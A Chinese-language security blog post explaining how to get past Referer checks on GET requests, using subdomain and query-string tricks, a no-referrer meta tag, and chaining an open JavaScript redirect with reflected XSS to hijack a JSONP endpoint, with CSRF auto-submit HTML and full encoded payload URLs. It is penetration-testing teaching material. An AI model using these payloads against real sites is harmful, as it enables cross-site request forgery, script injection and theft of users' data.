作者:Vulkey_Chen

原文来自:GET请求Referer限制绕过总结

前言

在做测试的时候会遇见这样几个漏洞场景:

  1. JSONP跨域劫持
  2. 反射XSS
  3. GET请求类型攻击

但是,在相对安全的情况下,都会有Referer(HTTP请求头)的限制。那么该如何去做绕过呢?

正文

什么是Referer?

Referer是请求头的一部分,假设A站上有B站的链接,在A站上点击B站的链接,请求头会带有Referer,而Referer的值为A站的链接;这也就是为什么上文所说的场景,遇见了Referer的限制就可能GG了。

绕过之道

常规绕过

一个实际场景:

先来说说一些常规化的东西:

  • 子域名方式

使用子域名的方式进行绕过:

  • 域名前增加

在域名前面增加随机的a-z和0-9也可以进绕过:

  • ?号

将域名作为GET请求参数进行绕过:

打破常规

无Referer

之前在做测试的时候,将Referer头删除也可以绕过,但是在真正的利用中能不能去实现呢?是可以的。

在HTML标签中有这样一个标签<meta>,而这个标签是表示无Referer,就是如下的代码:

<meta name="referrer" content="never">

我原来的PoC为:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/test.php">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

修改之后的PoC为:

<html>
  <meta name="referrer" content="never">
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/test.php">
      <input type="submit" value="Submit request" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

与其他资源组合

超链接

在上文就提到了A站有B站的链接,在A站点击B站的链接,Referer就为A站的链接了。那么在这里我能否使用白名单域下的业务做超链接,链接地址为A站存在问题的链接再搭配一个点击劫持或者诱导的方式进行组合攻击?

例如gh0st.cn做了Referer的限制:

Referer State
http://gh0st.cn (Current Domain) YES
http://www.hi-ourlife.cn (Other Domain) NO
http://a.gh0st.cn (SubDomain) YES

实际场景:

  • 公开信息对外

在个人中心处可以编辑个人的微博地址:

微博地址是对外的公开信息:

那么结合一下点击劫持或者用户常规的点击了~那就GGGGGGG了~

  • 论坛

现在很多厂商都有自己的开放论坛,特别是Discuz这种很多,而Discuz回复是可以使用超链接的:

回复这样的格式:u u部分为地址,t部分为地址名字~

URL跳转

302跳转是否可以?NO,不可以。

这里的URL跳转是值JavaScript的URL跳转。

常见的两个:

window.location.href="url";
window.open("url");
反射XSS(Referer限制)
  1. 这里我已经有一个存在任意URL跳转漏洞了:

http://test.vulkey.cn/link.php?url=http://www.hi-ourlife.com

  1. 我有一个反射XSS漏洞:

http://vulkey.cn/jsonp.php?callback=vulkey

当 referer = a.com :

当 referer = vulkey.cn :

当 referer = *.vulkey.cn :

这个接口验证了Referer使用之前的方法没办法绕过,于是采用组合拳搭配。

于是有了如下的构建:http://test.vulkey.cn/link.php?url=http://vulkey.cn/jsonp.php?callback=vulkey<svg/onload=alert(1)>

JSONP劫持+反射XSS+URL跳转

这个案例是基于上面反射XSS案例的,现在已知的三个问题:

  1. JSONP接口 http://vulkey.cn/jsonp.php?callback=vulkey 有Referer限制
  2. 反射XSS http://vulkey.cn/jsonp.php?callback=vulkey<svg/onload=alert(1)> 有Referer限制
  3. JavaScript URL跳转 http://test.vulkey.cn/link.php?url=http://www.hi-ourlife.com

一般JSONP跨域劫持的PoC是这样的:

<script>function jsonp2(data){alert(JSON.stringify(data));}</script>
<script src="url"></script>

但是因为有Referer限制,就不能在自己的站点上做PoC了,就只能利用反射XSS漏洞构建PoC:

http://vulkey.cn/jsonp.php?callback=%3Cscript%3Efunction+vulkey(data){alert(JSON.stringify(data));}%3C/script%3E%3Cscript+src=%22http://vulkey.cn/jsonp.php?callback=vulkey%22%3E%3C/script%3E

但仅仅如此是不够是因为XSS有Referer来源的限制,所以最终的PoC应该是这样的:

http://test.vulkey.cn/link.php?url=http://vulkey.cn/jsonp.php?callback=%253Cscript%253Efunction%2bvulkey%28data%29%7Balert%28JSON.stringify%28data%29%29%3B%7D%253C%2fscript%253E%253Cscript%2bsrc%3D%2522http%3A%2f%2fvulkey.cn%2fjsonp.php%3Fcallback%3Dvulkey%2522%253E%253C%2fscript%253E

也就是说在这里JS的URL跳转解决了XSS的Referer限制问题,而XSS又解决了JSONP接口的Referer限制问题,这是一个联合组合拳。如果你发现的XSS没有Referer限制则不需要这么"麻烦"。

结尾

文中总结一些小的TIPS,针对我遇到的实际案例进行了漏洞的复现截图,打开思维其实还有更多更好的思路,有机会后期会写出来。

有问题大家可以留言哦~也欢迎大家到春秋论坛中来玩耍呢!>>>点击跳转

GET请求Referer限制绕过总结的更多相关文章

  1. curl_get和curl_post,伪造请求头,绕过防盗链下载文件

    //curl-get function curl_get($url, $timeout = 10) { $ch = curl_init();//初始化 curl_setopt($ch, CURLOPT ...

  2. PHP代码审计笔记--CSRF漏洞

    0x01 前言 CSRF(Cross-site request forgery)跨站请求伪造.攻击者盗用了你的身份,以你的名义向第三方网站发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻 ...

  3. 与跨域相关的 jsonp 劫持与 CORS 配置错误

    参考文章: CORS(跨域资源共享)错误配置漏洞的高级利用 JSONP劫持CORS跨源资源共享漏洞 JSONP绕过CSRF防护token 读取型CSRF-需要交互的内容劫持 跨域资源共享 CORS 详 ...

  4. 【10.15总结】绕过CSRF的Referer保护

    今天下午可能要出远门,所以现在就把总结写好了. Write-up地址:[Critical] Bypass CSRF protection on IBM 这个CSRF漏洞存在于IBM的修改邮箱页面,修改 ...

  5. 关于绕过域名(ip)校验的一些小知识

    这篇文章最开始只是想写一个关于绕过referer的方法,写着写着发现和ssrf以及url跳转的一些手法类似,于是把这两种也加上了 对referer做校验一般是对csrf进行防范的手段之一,但是很多时候 ...

  6. DVWA全级别之CSRF(跨站请求伪造)

    CSRF(Cross-site request forgery)  CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息( ...

  7. 从跨域与同源策略谈CSRF防御与绕过

    之前偶然看到群里有小伙汁问这个token相关的问题,当时我酝酿了一下子,没想好怎么总结,今天来说一下 CSRF在过去还属于OWASP TOP10 ,现在已经不是了(补充一点:关于OWASP API 请 ...

  8. 协议层安全相关《http请求走私与CTF利用》

    0x00 前言 最近刷题的时候多次遇到HTTP请求走私相关的题目,但之前都没怎么接触到相关的知识点,只是在GKCTF2021--hackme中使用到了 CVE-2019-20372(Nginx< ...

  9. 绕过网站安全狗拦截,上传Webshell技巧总结(附免杀PHP一句话)

    这篇文章我介绍一下我所知道的绕过网站安全狗上传WebShell的方法. 思路是:修改HTTP请求,构成畸形HTTP请求,然后绕过网站安全狗的检测. 废话不多说,切入正题.... 1.实验环境: Win ...

随机推荐

  1. pytho学习笔记---编码

    编解码 ASCII:1字节,0-255 GBK2313:常用的汉字,2万多个 GBK:对GBK2313的补充,支持藏文,2个字节表示一个汉字 big5:台湾,繁体字 unicode:万国码,2-4字节 ...

  2. 29 _react-router说明

    一.SPA的理解 1.单页面web应用(single page web application ,SPA) 2.整个应用只有一个完整的页面 3.点击页面中的链接不会刷新页面,本身也不会向服务器发请求 ...

  3. 【Noip模拟 20161005】运货

    问题描述 小ww开了一家快递公司,在nn个城市之间进行货物运输工作,一共雇了mm个快递员. 每个快递员性格很奇特,第ii号快递员只愿意将货物从城市sisi运送到titi(甚至不愿意将货物 从titi运 ...

  4. 2D射影空间,为何引入射影空间

    2D欧氏空间R2中,点的表示是A(x1,y1), B(x2,y2),二维参数,线的表示是L: y=kx+b,是二维参数: 如何表示点在线上面?可以扩展为(k,-1,b)* (x1,y1,1)t = 0 ...

  5. Java 基本类型和包装类型

    讲基本类型和包装类型之前,首先要介绍,装箱和拆箱 装箱:基本类型转化为包装类型 拆箱:包装类型转化为拆箱类型 为什么要有包装类型?Java是面向对象的语言,Java中一切都是对象除了基本数据类型,所以 ...

  6. spark 算子之RDD

    map map(func) Return a new distributed dataset formed by passing each element of the source through ...

  7. 深度学习中Dropout原理解析

    1. Dropout简介 1.1 Dropout出现的原因 在机器学习的模型中,如果模型的参数太多,而训练样本又太少,训练出来的模型很容易产生过拟合的现象. 在训练神经网络的时候经常会遇到过拟合的问题 ...

  8. FOB cost---从工厂到码头的费用

    1.主要是港杂费:陆运400元起,2个方450元,三个方500元,3个方以上按100元/方算起.

  9. 图论最短路径算法总结(Bellman-Ford + SPFA + DAGSP + Dijkstra + Floyd-Warshall)

    这里感谢百度文库,百度百科,维基百科,还有算法导论的作者以及他的小伙伴们...... 最短路是现实生活中很常见的一个问题,之前练习了很多BFS的题目,BFS可以暴力解决很多最短路的问题,但是他有一定的 ...

  10. includes() 方法

    字符串的includes()和数组中的includes()判断有没有括号里面的值,有的话为true,没有为false. 详细解析:https://blog.csdn.net/wu_xianqiang/ ...